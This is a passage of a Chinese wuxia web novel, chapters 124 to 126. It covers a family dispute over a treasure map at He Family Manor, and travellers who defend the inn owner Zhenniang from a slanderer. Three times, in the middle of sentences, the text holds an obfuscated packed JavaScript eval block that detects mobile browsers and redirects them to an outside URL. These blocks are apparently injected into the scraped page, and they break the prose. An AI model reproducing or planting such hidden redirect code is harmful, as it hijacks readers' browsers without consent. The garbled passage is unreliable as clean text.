许淑平伸出一臂邀她入座,然后道:“解此危局,你们只有一种选择,那就和来挑衅的群豪硬刚。可是贺家庄在武力上无所倚仗,是以必然要寻求庇护。我猜想贺永识也是这么想的,而且说不定已经有人向他发出了同样的邀请。” 贺永芳立马想起了在贺永识书房中,他说的最后一句话。 “是吗?”她又问,“既然我们还有其他选择,为什么一定要跟你、跟天魄门合作?” 终于说到核心,许淑平难得地露出一丝笑容:“从你的角度来说,天魄门是最佳选择。” 无需贺永芳再问,她紧接着说出来选择天魄门的好处。 第一,藏宝图本就属于天魄门,无论贺永诏手上有没有藏宝图或是有关的线索,只要天魄门出面,强调物归原主,他人不得染指,至少在道义上能够压过企图寻衅的人。 第二,贺家庄既已重入天魄门,天魄门就需出面护佑,绝不会让旁人倾轧自己的部署。这样天魄门就有了名分,可以协助贺家庄御敌。 第三,事成之后,天魄门会支持贺永芳取代贺永识成为贺家的掌家人,不用再屈居人下,也能伸张其少年时的抱负。 还有最重要的一点,贺新韵作为贺永诏的女儿,会被怀疑为最有可能知道父亲秘密的人,若被有心之人利用,将不利于她的安危。唯有与天魄门联手,才能保证她的安全。 贺永芳捕捉到最后一句的深意,直言道:“你想暗示我什么?” “难道贺永识就没有半点想找出藏宝图的私心吗?” 贺永芳语塞,直愣愣地盯住许淑平,仿佛想从她的面上瞧出哪怕一点儿犹疑躲闪,可惜没有。 “说得好听!”贺永芳戒备心仍在,“你们不也是要利用新韵来寻什么藏宝图吗,自己行得不正,竟还要恶意揣测他人!” 124. 谈判(三) “你们不也是要利用新韵来寻什么藏宝图吗,自己行得不正,竟还要恶意揣测他人!” “想不到历来磊落的贺家三小姐,竟也会以小人之心度君子之腹。天魄门的目的,从来不是藏宝图,而是消除江湖人觊觎藏宝图之心。” “你说的不可信!见了宝藏哪有不眼红的人!” “人性历来如此,你不信也有你的道理。”面对她的质疑,许淑平却点了几下头,“想必你也知道,天魄门遭遇数次变故,如今只想自保,所谓的宝藏,别人看得极重,在我眼里,不过是个祸端罢了。苏明启死于寻宝,天魄门如今又因为宝藏深陷泥潭,对于我们来说,比起重启宝藏引来祸事连连,不如将众人的欲念掐灭,反而能省去不少麻烦。” 她说这话时带着深深的憾意,贺永芳第一次没有在听后反驳。适才贺永识和贺新峦暗暗表露出的对宝藏的关心,她岂有不知?许淑平的想法其实更合她的心意,所谓宝藏实际上是个祸端。 “如果只是为了确保无人染指藏宝图,天魄门是不会不远千里,特地来贺家庄助拳的。”贺永芳指出来。 “你说的对,其实我们只要坐视不理,群豪找不到藏宝图自然会做鸟兽散。对于天魄门来说毫无损失。” “所以我很好奇,你们来这里还有什么其他目的?总不会是出于江湖道义,看不得贺家庄被屠吧?” “贺三姑娘是个爽利的人,我也不和你绕弯子。天魄门要让贺家庄重入麾下,实际上是看上了你们贺家的消息网。如今有人对天魄门虎视眈眈,我们不能没有耳目,这一点最好的帮手就是贺家庄。” 不待贺永芳出言抗争,许淑平紧接着又说:“此间危机解除后,贺家庄由你统管,天魄门并不会插手分毫,我们要的只是合作。你帮天魄门搜集和传递消息,我来保障贺家庄安然无虞。” 贺永芳没有立即回应,她还在想,世上有没有这样的好事。贺家庄危在旦夕,正是逼迫其臣服于天魄门的好时机。许淑平怎么会愿意贺家庄不听号令,只满足于交换信息? 许淑平看出她的犹豫,但自己要说的只有这些,便道:“我不会强迫你,要不要合作全看你的自愿。但是,你的时间不多,觊觎藏宝图的人可不会等。” 贺永芳松了一口气,对方不要求她当场就答应,这份诚意她心领了。她瞧了一眼这段时间一直没有插话的贺新韵,突然道:“好!许前辈说话爽快,我会好好考虑。但是,”她指着贺新韵,“她得跟我回去。” 许淑平没有反对,只是问她:“你能保证她的安全吗?” 这话再次激怒了贺永芳:“她是我大哥的亲女儿,我从小看着长大的,难道我还能害她不成?!” “你当然不会害她,可贺永识却不一定和你有同样的想法。”许淑平语调依旧平稳。 “你什么意思?” “我说了,新韵如今的处境危险,觊觎宝藏的人必然希望从她口中得出贺永诏的秘密。” 许淑平没有把话说透,但贺永芳已经明白,贺永识也是这众多觊觎宝藏的人之一。她没有接这个话茬,而是说:“你放心,我不会让任何人害她。” 许淑平这才应允:“我信你。不过我不能让她一个人待在贺家,谭修明长于暗器,有他在侧,至少可以保证新韵的身边不会出现暗箭伤人。” 贺永芳思忖片刻:“好,那就有劳谭前辈了。” 谭修明还是没有说话,只抱拳以作回应。 ********************* 贺永芳御下颇严,居处又极清净,要想藏个人倒不难。一回到自己的院子,她就吩咐下人把守四门,除了自己的心腹,任何人进来都需盘问,得了她的许可才能入内。然后在自己的卧房中又添了一床睡塌,贺新韵就和她住在一起,也好随时照应,谭修明则被安排在了院子一角。 当天晚上,姑侄俩睡在一处,叙话至深夜才安寝。小时候,贺新韵也会像现在这样和小姑姑挤在一起,听小姑姑讲一讲江湖趣闻。那个时候贺永芳也还是个姑娘家,所言不免夸张,其中多半是自己的想象。但对于年幼的贺新韵来说,这是她唯一能够对传说中的武林和江湖稍作想象的时候。后来贺永芳嫁到了伏牛山,贺新韵没了玩伴,庄中只有她一个女孩,着实孤单了一阵子。 多年未见,贺永芳已不再是当初泼剌爽朗的模样,对着贺新韵也真正有了几分长辈的样子。她再三向贺新韵确认,天魄门到底是真心待她还是另有所图,贺新韵花了好一番口舌,讲了许多自己和许淑平等人相处的细节才稍稍平息了她的疑心。 这之后她又说起贺永诏生前安排她和妻子投奔天魄门的事情。 “这么说,当年就有人已经知道大哥可能知晓宝藏的线索?” “应该是吧,不然我想不通,爹爹为什么要让我和娘去投奔天魄门?而且关于他曾陪同前门主探访藏宝地的事情,也是他修书告诉姥姥和文叔叔的。否则的话,他们也并不知道这件事。” “要是真的如此,”贺永芳突然激动起来,“大哥和嫂子的仇不就得着落在这些人身上?!是谁?天魄门可有追查?” 黑暗中,贺新韵握住她的手,柔声道:“姑母先别急。姥姥当年来过贺家庄,可是并没有什么收获。不过不要紧,幕后之人觊觎藏宝图多年,这次在武林大会上已经露出了尾巴,只要我们和天魄门一道守住宝藏,不怕恶人一直藏在背后。一定能将其揪出来,为爹爹,也为我娘报仇!” ********************** 一晚上发生了太多事,又说了太多话,贺永芳睡得很沉,若不是心腹侍女上来,她还不知道外面已经闹翻了天。 “怎会回事?”睡梦中被人叫醒,贺永芳的脾气立刻就按捺不住了。 “三小姐,你快去看看,新韵小姐被二老爷抓了!” 贺永芳一骨碌从床上翻起:“新韵?二哥?!” 她赶到庄主院中时,果然看到贺永识、贺新峦带着人将贺新韵围在书房外面,连一向惫赖的贺新川也披散着头发在远处看热闹。 贺新韵手持一把又薄又短的刀,正在和会武的几个庄客对峙。目前来看,她还没有失手。贺永芳一见到如此情形便暗道不妙,随即闪身护在了贺新韵身前。 在十步以外观望的贺新峦见状,立刻道:“原来是姑母把人带进来的。却还故意不告知父亲。怎么?姑母是觉得在这贺家庄自己说了算?” “新韵本来就是贺家的人,她想来便来,禀报庄主做什么?难不成二哥作为她的叔叔,竟会不准她进庄吗?” “当然不会,”贺永识开口,虽然在回应妹妹的质疑,眼睛看着的却是贺新韵,“她若是作为贺家人回庄,自我起庄中上下都还认她是贺家庄的大小姐,不会有人不欢迎她。可她若是受了什么人的指使,来和我贺家为难,就别怪我对不起大哥,为了贺家庄清理门户!” “好大的帽子!”不用贺永芳说话,贺新韵先冷笑道,“二叔不问情由就让人将我拿下,审都没审就说我将不利于贺家,如果不是别有心思,侄女真还想不出别的理由!” “小丫头片子,少在这里信口雌黄!”贺新峦骂道。 “贺新峦!我和你同岁,还比你大了几个月,你就算不愿意管我叫声姐姐,也该说话放尊重一点!” 贺新峦瞪了她一眼,又道:“比我大又怎么样?大伯父一死,你早就没了靠山,还在我面前装什么大姐。” “我爹在不在,我都是你姐,二叔在这里都还没有说话,你却赶在头里狂吠,是觉得自己的爹爹健在,就有靠山了?”贺新韵继续冷笑,“我还当贺家庄的‘少庄主’有多厉害呢,却原来也是个需要时刻有爹爹撑腰的奶娃娃!” “你!”贺新峦最忌讳别人质疑他身为少庄主的能力,听了这话立时就要发作,但他的剑尚未抽出,就被贺永识按了回去。 “自大哥死后,你隐匿十年,和家里从来不通音信。这般突然现身,我难免要起疑。” “家?”贺新韵仰头笑了两声,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457770|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二叔何曾将我当过家人?否则也不会眼里只有这个庄主之位,而对我娘的死、我的下落不闻不问了!” “当年大哥走得突然,嫂子和你又突然失踪,我忙于稳定贺家庄,实在分不出精力去找你。” “是吗?好好好,我不重要,找不找的也不要紧。可我要问问二叔,何以对我爹、前任庄主的死也浑不在意,这么多年来,连查问一下的心思都不曾有?” “大哥被杀时,身边一个人也没有,叫我如何查?” “没有目击者,难道就没有其他知情人,没有一点儿端倪?二叔,我不是三岁的娃娃,不会被你就这样糊弄过去!这些虚话,你还是留着给别人说吧。” “你不信我也没办法。反倒是你,你既然已经有了去处,又跑来贺家做什么,还要趁着黑夜偷偷潜入我的书房?” “这是我爹的书房!”贺新韵横眉道,“我来他的书房,用不着和你打招呼!” “如今贺家庄的庄主是我。”贺永识阴沉着脸,语调冷得足以结冰。 贺新韵撇过脸去,鼻孔朝天。 “说!你来书房是要找什么?”旁边贺新峦替父亲问道。 “没什么。” 轻飘飘的三个字,显然不能取信于人。 “你要是不肯说,我就让他们一起上了。”贺新峦最后威胁道。 贺新韵哼了一声,没有理会他。 他一声令下,围着贺新韵的庄客立刻攻上。贺永芳听见三人的对答,早就怒气冲冲,而贺新峦竟然要人围攻贺新韵,更令她怒不可遏。只见她右手成拳,击中了上前一人的面门,然后便和对方纠缠起来。 贺新韵有兵器,身法也远比贺永芳灵活,稍稍侧身,就已经避过了一个人的兵刃,还顺势伤了另一个人。 以她的功夫,若是和这些人一对一,未必会输。但如今众人其上,贺永芳最多也只能帮她挡住两个人的进攻,是以不多会儿,她便有些左支右绌。 然而贺新峦还没来及发出嘲笑,便有几道暗光从贺新韵所在的方向飞出,紧接着五个庄客同时翻倒,瞬间便没了声响。 然后又有几枚暗器激射而来,这次冲着的是贺永识和他的两个儿子。贺新川吓得大叫,一个劲往贺永识身后躲藏。贺永芳心猛地一颤,还好,贺永识还有几分真功夫,带着贺新川斜出几步,避开了射来的暗器。贺新峦则用剑挡下了一枚钢锥。 还留着性命的几个庄客早就停了手,震惊地瞧着自家庄主和少庄主从暗器下逃生,不知道还要不要继续攻击贺新韵。 贺永芳回过神来,想起许淑平早就有的预料,站直了身子大声道:“新韵是我请来的客人,不过是因为怀念大哥,睡不着才一大早就到书房来的。二哥念在她少年失怙,园囿些吧。” “哼!”贺新峦不依不饶,“姑母少为她遮掩!她来这里的目的绝对不简单。”又对着贺新韵,“快说,你在找什么?是不是大伯父临死前留下了什么东西?” 贺新韵将刀背在身后,理了理因为打斗而有些凌乱的衣襟,才道:“姑母说的没错,我刚回来,想起爹爹便睡不着,就想过来看看。哪知刚走进院子,就被人团团围住。我也纳闷,二叔摆出这幅阵仗,到底想干什么?” 贺永识并不理会她的质疑,而是吩咐手下人:“将她抓起来!” “不可!”贺永芳厉声道。 “等她道出真实意图,我自会放了她。” “有我在,你休想抓人。”贺永芳道。 “就凭这些人,能抓住我吗?”贺新韵也道。 贺永识眯起一双眼睛,飞快在心里盘算起来:“她明显有帮手,硬来没有好处。只要她一直在庄里,就不怕撬不开她的嘴。” “好,”他让步道,“我不把你关起来,但是你必须乖乖留在贺家庄,一步也不许离开。三妹的院子,我会派人看守,你只能在那里呆着。身上的所有武器也必须全部交出来,免得你伤人伤己。” 贺永芳还想驳斥,贺新韵先应道:“没问题。” 125. 黄|谣(一) 再说紫璇几人,自宿州快马加鞭,很快就到了济源,继续西行穿过轵关径便可到达太行山以西,然后再沿着汾水向北,不日便可抵达西河。 山道崎岖难行,坐骑也需要休息,众人便打算在济源修整一晚,第二日一早再出发,快的话当天晚些时候就能到贺家庄。定了客店,寄存好行李和马匹,一行人便往街上来找吃食。 济源虽然是个小县,商业不比大镇发达,但因地处太行山南侧要冲,很多西行的客人大多都会在这里歇宿,是以到了晚间,其他店铺虽早早歇了业,但照管食宿之处却还在开门迎客。 众人选了一家卖炊饼和羹汤的小店走进去。一坐下,一个三十来岁的女子便从从炉子上拿下一壶开水并几个碗,送到他们桌子上,道:“几位客官要吃点什么?” “怎么只有你一个人在店里?你们老板呢?”杜彦成瞧了一眼店内,随口问道。 “我就是老板。伙计家里老娘病了,刚才告了假,所以店里就剩我一个人。”女子笑吟吟答道。 “对不住,我以为……”杜彦成马上道。 “没事儿没事儿,”女子还是笑着,“头一回来我店里的客人都免不了问这一嘴,我也习惯了。客官不必挂环。” 杜彦成面上讪讪,忙取过水壶给大家倒水。 “老板?我这样叫你成吗?”紫瑛也笑着说道。 “哎呀,就是一间小铺子,哪里称得上什么老板不老板的。我叫珍禾,大伙儿都管我叫‘珍娘’,姑娘随便叫我什么都成。” “珍娘姐姐,这里这么多客人,你一个人忙的过来吗?除了伙计就没有别人来帮忙了吗?” “姑娘太客气了。小本经营请不起那么多人,何况也就这么一天,不妨事,累不着我。” 另一边有客人在唤她,众人便三两句点了吃食,放珍娘去忙了。不一会儿,炊饼和汤羹一起上桌,大伙儿都饿得厉害,已经顾不上说话,都埋头吃着。 恰在这时,店外来了几个人,也不进来,而是站在门口对着来来往往的人大声喊叫。 “世风日下,连暗娼都能抛头露面,在光天化日之下做买卖喽!” “大家走过路过不要错过,珍娘在那事儿上厉害着呢。” “珍娘迷倒了傅家小爷,夜夜投怀送抱,温香软……” 店里的客人听得清楚,纷纷转头,对着正在灶间的珍娘交头接耳。行色匆匆的路人中也有不少停下脚步往这边观望。 “啪!” 一把切肉的大刀砸在了门槛上,插入其中不止三分。堵在门口的人瞬间跳开,口中的污言秽语也戛然而止。 刚刚抡圆了膀子将刀掷出的珍娘阴着一张脸,双手叉着腰,使足了力气大骂:“胡二!我警告过你!要是再来搅扰我的生意,休怪我不客气!” “我在大街上说话,怎么惹到你了?”胡二瞪着眼睛,故意挑衅。 “你挡住了我的门,客人们进不来,难道不是打搅?”珍娘气势汹汹,快步行到门槛,指着胡二的鼻子继续骂。 “白天的生意哪儿比得上晚上的,你说是吧?”胡二笑得猥琐,店内店外窃窃私语的声音越发不加掩饰。 珍娘冷笑一声:“胡二!你以为在这里造谣污蔑,我就会羞得见不了人,然后把这店让给你?做梦!老娘行得端坐得正,你自己烂了舌头满嘴胡言乱语,关我屁事!我告诉你,除非我死了,否则你休想把这里据为己有!” “别呀,你的哪点破事这里里外外的谁不知道?!我帮你说出来,这晚上的生意呀,更好!”胡二越说声音越大。 “哦?”珍娘抱着胳膊,反而笑了出来,“大家都知道了?谁是大家,让他给老娘站出来!” “你自己做的事你不知道?” “我做的我当然知道,我没做的你叫我怎么知道。你不是振振有词说我勾搭了傅家小爷吗?好啊,你叫他来与我对质,否则就是污蔑!还有我的左邻右舍,你怎么不让他们来帮你作证呢?你当大家都是傻子,你放个屁就真以为别家放炮仗?我劝你乘早滚蛋,或许你爹娘还能看在你只有三岁小儿的心智份上,给你的鬼话捧个场!” 听了这话,店里的客人纷纷大笑,望向胡二的神情中已然看不出好奇,反变成嫌弃和鄙夷。 杜彦成也骂道:“没饭吃了就到别处去讨,别在这里耽误别人生意,晦气!”旁边一桌人也跟着骂了一句:“大爷我还要吃饭,见不得嘴脏的人,快滚!” 胡二嘴不消停,继续大声吆喝,刚说了两个字,紫璇打出一枚暗器,正插在他的心口处,虽然其上附着的力道极小,暗器也只插入他衣服不过半寸,却足以吓得胡二立刻住嘴,灰溜溜地跑得连个影子都看不着。 在座客人之中有个别几个会武的,眼见了一个年轻女子暗器准头竟这样好,不禁都把目光转向了紫璇这一桌。珍娘背过身用围裙擦了擦眼角,这才过来向杜彦成和紫璇道谢,又去门边捡回了自己的刀。 这段风波之后,客人们又像刚才一样继续吃饭说话。稍过了一会儿,一桌客人叫珍娘过去添菜,珍娘站在边上,弓着腰问他还要点什么。其中一个男人伸出手,顺势就覆上了珍娘的腰。珍娘本能地闪开,鼓着腮帮子,对他怒目而视。 男人却一副理所应当的模样:“怎么了?别人摸得?我就不能摸?天已经黑了,你的生意可以做起来了。你要多少钱,大爷我出得起。” “这位爷,请你放尊重些!这里除了吃喝,别的不卖!”珍娘憋着一口气,声音大得足以让店中所有人听见。 那人却不依不饶,将杯中酒一口喝干,继而摇晃着起身,要来拉扯她:“别害臊嘛,大爷我……” 那人身形高大,只需一步就又能贴到珍娘面前。其余客人都在看戏,有的人已经高声笑了起来。紫瑛就坐在他后方不远,此刻怒意上涌,将手中满满一碗汤冲着那人泼了过去。滚烫的汤汁带着些许力道准准落在那人背上,弄得他惊叫一声,人也往前扑开了些。 幸好此时已是冬月*,又隔着厚厚的衣服,这一下并没有伤到他的皮肉。他惊疑一定,立马回头,要看看是谁胆敢捉弄他,目之所及却是一个娇滴滴的小姑娘。他不怒反笑,踉跄着又想往这边来,一边走一边还说着:“小妹妹,你是不是嫉妒了?没事,大爷这就来疼你……” 不过下一秒,疼得人就是他了,杜彦成只出了两拳,就将他打翻到了对面桌上,还没吃完的炊饼和汤盆飞到半空,炊饼落下来砸到了他的头上,羹汤泼溅了他满满一头,烫得他吱哇乱叫。与他同来的另外三人见同伴受此奇耻大辱,即刻便要冲上来要给他讨公道。瑾瑜马上起身,同杜彦成一起轻轻松松将他们从站着变成了趴着,同时也打翻了附近的好几张桌子。 一些食客刚吃了一半,如此情形显然是不可能继续用饭了,纷纷向珍娘要说法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481997|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍娘无奈,将饭钱全部退还,还说了许多个“对不住”才将这些食客打发走。而还趴在地上的四个人趁着这番忙乱也飞快地逃了出去。 紫瑛皱着眉头道:“这些人好不通情理,明明是那伙人挑衅侮辱在先,他们不帮忙还看笑话,自己吃不了饭却没忘叫珍娘赔钱!” “别生气了,开门做生意是这样的。”杜彦成拍拍她的胳膊让她消消气。 “可珍娘她……她多委屈呀!” “委屈”二字触动了一直隐忍的珍娘,眼泪簌簌落下。紫瑛忙拿出一方帕子递给她:“他们太可恶了,刚才那人明显就是在诽谤,这些人竟然认了真,还想欺负你!” 珍娘断断续续地说着谢谢,许久才能完整的说出一个句子:“多谢姑娘。你们肯信我,就说明这世上总还是有心明眼亮的人。我……我至少还有些许体面……”说着又哭起来。 紫瑛将她拉到尚完好的一桌上坐下,等她哭声渐渐止息,才小心问道:“珍娘姐姐,刚刚那个人是怎么回事。” 珍娘皱着一张脸,想他们说起自己和胡二的恩怨:“胡家是县里的殷实人家,胡二借着家里的钱财也开了间炊饼点,但生意比不上我家,就总想法子来闹。我爹在时就闹过几回,后来总算是告到了坊正那里,他才有所收敛。可自打我爹走后,他就又开始三天两头来骚扰,还想出了这么一个下作的主意。他以为我是个面薄如纸的姑娘家,肯定会受不了被人指指点点,说不定就会便宜些把店面转给他躲到外乡去。可我凭什么,我没有做过他说的那些事,我为什么要抬不起头?我就要和他刚到底,绝不遂了他这种恶人的愿!” “你说的没错!决不能让小人得逞!”紫瑛高声附和。 珍娘稍微弯了弯嘴角:“还好,我这的客人大多是过路的,本就是外地人,听了也就听了,并没多大妨碍。” “什么叫没有多大妨碍,刚才那些人!他们……” “不打紧,我只要凶一点,他们对我做不了什么。而且这样的事也不是次次都有。姑娘不必为我担心。”紫瑛气极了,珍娘却反过来说软话安慰她。 “女人家做生意,大多都不怎么容易。”杜彦成轻声道。 珍娘苦笑了一下:“再难也得撑着,这是我爹娘留给我的念想。” “这店面是你爹娘留下来的?”紫瑛换了一个话题。 “是,这店最早是我爹娘盘下来的,”说起爹娘,珍娘温柔地笑了,“两夫妻恩爱了一辈子,我娘去年走了,我爹他也跟着在今年去了。这之后我就把店接下来继续干,活人总得吃饭不是。” “二老走的时候,你一定很难过吧。”瑾瑜道。 她点了点头:“他们刚走的时候是挺难受的,哭得都起不来床。可后来再想一想,死生哪儿是人力能够强求的,他们活着的时候没做过一件亏心事,虽然弟弟早夭,但好歹养大了我,一辈子顺顺利利的,也不亏。” “说得好,一辈子若用心活过了,死的时候也就没什么遗憾。”瑾瑜听罢赞道。 “就是公子说得这个理儿!” “哪怕是小本生意,做起来也并不容易,你一个人能撑起一家店,足见姑娘厉害。”杜彦成道。 “这位公子太瞧得起我了,我没什么大能耐,就学着爹娘的法子,把东西做好吃些,再待客殷勤些罢了,还是得多谢客人们总照顾我的生意。” *农历十一月 126. 黄|谣(二) 珍娘健谈,平日里生意不忙时也喜欢坐下来,和过往的客人聊上几句,听听他们走南闯北的趣闻。店里没了客人,紫瑛几个说话又和善,她便索性将店门半掩,又简单收拾了几道小吃,陪他们一起坐着说话。 说到女子立世不易,紫璇便给大家讲了讲俞映华的故事。 紫瑛听罢感叹:“整整二十年,从无到有立起诺大事业,且不说她后来的做法,但就这份毅力着实令人钦佩。” 珍娘也道:“被她收拢的那些女子中,定然也有因此而受惠的。不管怎么说,对她们来说,这位庄主算得上是大恩人。” “后来呢?”紫璇提了一嘴俞映华死后木兰庄中女子的去向,紫瑛便有些好奇,“那些留在庄里的女子怎么样了?” “同之前一样,做活拿钱,只不过上面再也没有庄主和管事强迫,她们都可自由来去,赚的钱也都归自己所有。” “这样好!”紫瑛拍手道,“能养活自己,就不必仰赖男人。假以时日,就会有越来越多的女子能够脱离束缚,自由自在。” 话到了这里,紫瑛偏头去看珍娘:“珍娘姐姐也是如此,自己做自己的主。” 珍娘抿嘴一笑:“哎呀,说句不好听的,一个人逍遥自在,要是靠男人,天都要塌的。” 紫瑛率先笑出声来,瑾瑜和杜彦成相视一眼也笑了。 “有了男人,就得给他洗衣做饭,还要生娃养娃,比开店还累。不划算不划算。”珍娘见客人欢喜,便故意夸张地多说了几句。 连日来一直魂不守舍的江珺翊被紫瑛明朗的笑容拽了回来,听了珍娘的话,虽不知前文是什么,却立马赞同:“女人掌家,每日做的事情看似细小不花力气,实则琐碎极耗心力。” 珍娘这才注意到安静的他,将头偏过去:“公子有这番感叹,可是已经娶亲了?” 江珺翊面上一红,连忙摆手:“我哪儿有……不过是想起我娘亲正是这般为了我爹和我忙前忙后,从没个歇息的时候,恰如你刚刚说。” “身为男子,能注意到为人妻母的不易,说明公子是个良善之人。”他如此真诚,珍娘也认真说道。 江珺翊只摇了摇头,继续低头吃饭。 说到窝心处,珍娘也不避讳,照实道:“我年轻的时候也有过相好,不过没能长久。再后来,长得歪瓜裂枣地我看不上,条件略好些的又嫌弃我是商户出生,这事儿耽搁来耽搁去就没了下文。也辛亏如此,待我年长些便发现那些和我年岁相似的小姐妹,嫁人之后多少拖累,再没有年轻时候的快活。还不如我这样,只要把自己照顾好了就万事大吉。” 紫瑛高兴地又拍了几下手:“姐姐说话真有意思。” 珍娘也笑眯眯的:“我呀,嘴上没个把门的,总爱瞎说,姑娘不要见怪才好。” “怎么会呢。姐姐性格开朗,估计来这里的客人都愿意和你多说两句。” “这倒是真的。”珍娘笑了几声,站起来道:“几位宽坐,我去准备明日烙饼的面,就不陪大家了。” “你一个人忙得过来不?需不需要我们帮忙?”紫瑛说着,人已经站了起来。 珍娘推辞了两句,但紫瑛还是坚持要帮忙,已经吃好了的瑾瑜也一起过去了。 紫璇和江珺翊聊起了贺家的事情,杜彦成听了几句,觉得没趣,便起来去灶头那边看了一会儿,帮着烧了一锅水就再也派不上用场,最后无聊地跑到门口去看月亮。 天早就黑了,初冬的夜晚已经有了寒气。东边的树梢上挂着一弯上弦月,在一个人影都没有的街面上看去,显得愈发清冷皎洁。杜彦成回头朝店里望了一眼,瑾瑜已经回到了桌子上,听着紫璇说话。而紫瑛也洗干净了手,正在珍娘身边和她说笑,欢喜荡漾在她的眼睛里。 正好紫瑛抬头,四目相对,眼底的笑意便从灶台传递到了店外。 “在看什么?” 紫瑛步出店外,学着杜彦成朝四面张望。 杜彦成指指天上的月亮,眼睛却还是盯着她。 “好亮的月亮!不是满月也好看。”紫瑛赏了片刻,又转头去看他:“多谢你。” “谢我什么?” “谢你几次三番地救我。还有那日,为了护着我,你差点叫他们打死……“紫瑛说着便有些哽咽。 杜彦成浅笑:“要说谢,我还没向你道谢呢。谢谢你愿意听我发牢骚,这些话,除了你我也就只和方瑾瑜说过那么一点点,那也是好多年以前的事情了。那日坏人来得太快,我都没来得及告诉你,能和你这样毫无顾忌地说一说,我心里畅快了许多。平日里,我所见的不是自己的侍从伙计就是生意场上的伙伴,可没有什么机会说说心里话。” “以后你要是有什么心里话想倾诉,还可以找我。我……我愿意听。”紫瑛垂首绞着衣服一角,低声道。 “好!”杜彦成眼眸闪烁,望着她的眼神越发柔情。 两个人你一言我一语地继续说着,杜彦成率先发现不对,似乎有不少人正在往这个方向来。他止住紫瑛的话,稍稍探出些身子,果然看到一伙人出现在黑沉沉地夜色中,各个手提短棍,为首之人正是胡二。 不过胡二显然选错了时候,都不用紫璇和江珺翊出手,单单他们二人再加上瑾瑜对付这些喽啰便绰绰有余。胡二一伙人得了教训,抱着胳膊脑袋逃开之时,杜彦成还特地警告他们:“珍娘有人罩着,你们来一次我们打一次,你最好少打她的主意!” 被响水帮围攻以来,紫瑛憋了好大一口气正没处发泄,今日痛快揍,她伸出一只手掌和杜彦成对击了一下:“合作愉快!”惹得杜彦成哈哈大笑。 店里珍娘举起的刀根本没有派上用场,目瞪口呆地瞧着他们随随便便就打跑了胡二一伙,等她反应过来,赶紧扔下刀,很是感动道:“这……叫我如何感谢才好呢!你们……你们……” 紫瑛挽起她的胳膊将她带到凳子上:“我们和姐姐投缘,帮你一点小忙而已,又不费事。他经了这一遭,以后多少要收敛一些吧。” 杜彦成倒没有她这么乐观:“这可不好说,人为了金钱可是什么事都做得出来的。” “难道他还会再来?”紫瑛蹙眉道。 “有人的时候他肯定会忌惮,怕的是他会更加谨慎,等珍娘落了单再出手。” “那怎么办?不然直接把他料理了算了!”一向温和的紫瑛想到珍娘一个人要应付胡二这种泼皮,也变得不客气了起来。 江珺翊想了想:“去吓唬他一下也好,若不掐灭了他滋事的念头,后患是不会断的。” 大家都看着珍娘,等她的回应。 “那就给他一点教训。”原本她并不想把事情做绝,但胡二今日竟然想要动粗,的确触到了她的底线。她要是再忍下去,这店势必是没法开下去了。 紫璇也认为这样做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493356|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较好,便向她询问了胡二的住处,以及平日里都和什么人来往,在本地有多大势力等等。 “他就是个泼皮无赖,成日里游手好闲,结交都是县里最下作的那批人。他是家中唯一的男丁,从小被捧着长大的,所以才这么嚣张跋扈,凡是他想要的就一定要想办法搞到手。可他胃口大能耐小,做什么事都不成,气得他老爹成日里数落他。他之所以这么执着要夺下我的店,钱财之外,主要是见不得我身为女子竟然比他有出息,让他失了颜面。你们只要吓唬住 他,让他有所忌惮不敢再来就成。” 众人稍作计较,还是觉得只是吓唬还不够,必须让他写一份切结书,上面一字一句地清楚记下自己是如何造谣污蔑珍娘清白的,并立誓以后再也不来骚扰,否则珍娘必然拿着切结书去告官。他还必须在明日将切结书写出多份副本,张贴在街面各处,让所有人都知道他的所作所为。最后,他还得出一笔银子,赔偿珍娘今日店里的损失。 办好这事对他们来说根本不费吹灰之力,半个时辰之后他们已经拿到了切结书,上面有胡二的血手印,还有一包总计三十两银子。 取银子的时候,胡二还哼哼唧唧的,说自己家里没有这么多现银,希望他们能少要一点。紫瑛哪里肯,警告他,要是敢克扣一毫一厘,她就斩掉他的一根指头,杜彦成还配合地拿起刀,一起恐吓胡二。胡二没法,只好亲自去邻居家借了十多两,凑齐了三十两之数,交给了紫瑛。 在店里坐立不安的珍娘,见他们一个个都安然无恙、有说有笑地回来,提到嗓子眼的心才安稳落下。 “放心吧,胡二可乖了,我们说什么他就答应什么,从明天起,就再也没有人会对你说三道四了。胡二从此会离你远远的,你好好做生意吧。” 紫瑛兴高采烈,珍娘却有些泪目,一时间不知说什么好,膝盖一软就想给她磕头,被她一把扶住:“我说了,咱们投缘,帮你是应该的。何况胡二所为,人神共愤,换做是其他人我们也一定会为他出头的!” 珍娘这才释怀,可还是说了好几个“谢”字。 